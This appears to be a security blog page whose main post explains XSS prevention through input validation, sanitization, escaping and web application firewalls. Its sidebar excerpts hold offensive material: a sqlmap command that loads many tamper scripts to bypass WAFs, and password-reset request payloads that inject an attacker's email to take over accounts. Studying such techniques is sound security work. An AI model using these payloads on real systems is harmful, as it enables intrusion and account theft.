XSS attack prevention/mitigation

While cross-site scripting attacks can be dangerous and difficult to detect, there are ways to prevent and mitigate them. The basic principles of input handling are validation, sanitization and escaping.
The validation process ensures that the user input is legitimate and properly formatted according to a fixed set of validation rules. The theory here is to treat all data or inputs as untrusted until they are met with certain criteria such as type and length requirements. For example, The Phone Number input field can contain only numbers and cannot be submitted when a user is trying to type letters or special symbols to this field.
Sanitizing user input is another mitigation method that essentially requires all user data to be cleaned of potentially dangerous symbols that are usually used in HTML markup and JavaScript code. When the HTML tags are allowed as a part of user input, “white lists” of tags are used and all tags that are not allowed end up removed.
Keep in mind that some user input that doesn’t contain any malicious scripts can still be a source of errors in the application database. Data might become corrupted in the process of saving it due to how databases handle some special symbols. For this reason, during input sanitation, you also need to perform encoding of database-sensitive content. This process is required not only for preventing attacks but for overall application stability.
Escaping mechanism ensures that all data displayed to the user can’t be interpreted as HTML or JavaScript code. Escaping user input often means preventing the use of certain characters. It reduces the possibilities for attackers.
The «<» and «>»characters are often removed from use to prevent a possibility to display HTML code from other user input. For example, if an attacker put some harmful code inside his or her username on a social network, the escaping process will not allow the code to be executed after you see an attacker’s profile.
Web Application Firewalls (WAF) are a widely used application firewall that is effective in reducing and preventing XSS attacks. These firewalls apply a set of rules to HTTP conversations that help to protect servers, web applications, and ultimately, the users. These firewalls come in a variety of forms, and they may need to be customized according to the needs of a user or an organization.

Comments

Post a Comment

Popular posts from this blog

SQLMAP Tamper Scripts WAF bypass

Use and load all tamper scripts to evade filters and WAF: sqlmap -u ‘ http://www.site.com/search.cmd?form_state=1 ’ — level=5 — risk=3 -p ‘item1’ — tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords General Tamper testing: tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus...
Read more

Account Takeover: Password Reset With Manipulating Email Parameter

 Exploitation Add attacker email as second parameter using & 1 POST / resetPassword 2 [ ... ] 3 email = victim@email . com & email = attacker@email . com Copied! Add attacker email as second parameter using %20 1 POST / resetPassword 2 [ ... ] 3 email = victim@email . com % 20 email = attacker@email . com Copied! Add attacker email as second parameter using | 1 POST / resetPassword 2 [ ... ] 3 email = victim@email . com | email = attacker@email . com Copied! Add attacker email as second parameter using cc 1 POST / resetPassword 2 [ ... ] 3 email = "victim@mail.tld%0a%0dcc:attacker@mail.tld" Copied! Add attacker email as second parameter using bcc 1 POST / resetPassword 2 [ ... ] 3 email = "victim@mail.tld%0a%0dbcc:attacker@mail.tld" Copied! Add attacker email as second parameter using , 1 POST / resetPassword 2 [ ... ] 3 email = "victim@mail.tld" , email = "attacker@mail.tld" Copied! Add attacker email as second parameter in json ar...
Read more

Different types of cross-site scripting attacks

Image
Stored (persistent) XSS Stored or persistent XSS attacks occur when the malicious scripts are permanently stored on the targeted server(s); this can occur in a database, on a message board, in comment fields, or on other user input pages. Victims receive a malicious script when the information is requested from the server. Reflected XSS A reflected attack occurs when the malicious script is not contained on the server but is included in the input sent to the server. Errors messages and search results are two commonly used vectors. These attacks are often delivered to the target via an email or on another site, often by tricking the target into choosing a link containing the malicious script or through user submitting the malicious form. The malicious code then reflects to the user's browser. This reflection causes the browser to believe that the script is trustworthy and prompts the browser to execute the script. DOM based attacks There is a third type of attack, known...
Read more